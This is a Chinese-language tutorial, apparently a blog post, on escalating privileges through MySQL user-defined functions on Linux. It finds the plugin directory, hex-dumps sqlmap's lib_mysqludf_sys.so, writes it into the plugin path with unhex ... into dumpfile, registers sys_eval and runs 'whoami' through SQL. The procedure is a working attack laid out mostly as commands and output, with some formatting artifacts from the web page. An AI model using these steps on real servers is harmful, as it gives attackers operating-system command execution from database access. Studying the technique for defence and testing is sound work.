环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。 要求: 在mysql库下必须有func表,并且在skipgranttables开启的情况下,UDF会被禁止; 过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 ?1234567 | mysql> show variables like "%plugin%" ;
+ ---------------+-----------------------+
| Variable_name | Value | + ---------------+-----------------------+
| plugin_dir| /usr/lib/mysql/plugin | + ---------------+-----------------------+
1 row in set (0.00 sec)
|
2,找对应操作系统的udf库文件 因为自己测试,看了下自己系统的版本,64位 root@bt:~# uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux 对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可 ?123456 | root@bt:/pentest/ database /sqlmap/udf/mysql# ls
linuxwindows root@bt:/pentest/ database /sqlmap/udf/mysql/linux# ls
root@bt:/pentest/ database /sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so |
3,利用udf库文件加载函数并执行命令 首先要得到udf库文件的十六进制格式,可在本地通过 mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt'; Query OK, 1 row affected (0.04 sec) 因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限 root@bt:~# chmod 777 /usr/lib/mysql/plugin 数据库中写入udf库到mysql库目录: mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so'; Query OK, 1 row affected (0.04 sec) 查看下这个udf库所支持的函数 ?123456789101112131415161718192021222324252627282930313233343536373839404142 | root @bt :~# nm -D /usr/lib/mysql/plugin/mysqludf.so
w _Jv_RegisterClasses
A __bss_start
w __cxa_finalize
w __gmon_start__
A _edata
A _end
T _fini
0000000000000ba0 T _init U fgets
U fork
U free
U getenv
000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit T lib_mysqludf_sys_info_init
U malloc
U mmap
U pclose
U popen
U realloc
U setenv
U strcpy
U strncpy
0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init T sys_exec
0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T sys_set_init U sysconf
U system
U waitpid
|
最后,加载函数并执行: ?123456789101112131415161718 | mysql> create function sys_eval returns string soname "mysqludf.so" ;
Query OK, 0 rows affected (0.14 sec)
mysql> select sys_eval( 'whoami' );
+ --------------------+
| sys_eval( 'whoami' ) |
+ --------------------+
| mysql| + --------------------+
1 row in set (0.04 sec)
mysql> select * from mysql.func;
+ ----------+-----+-------------+----------+
| name | ret | dl| type |
+ ----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+ ----------+-----+-------------+----------+
1 row in set
| |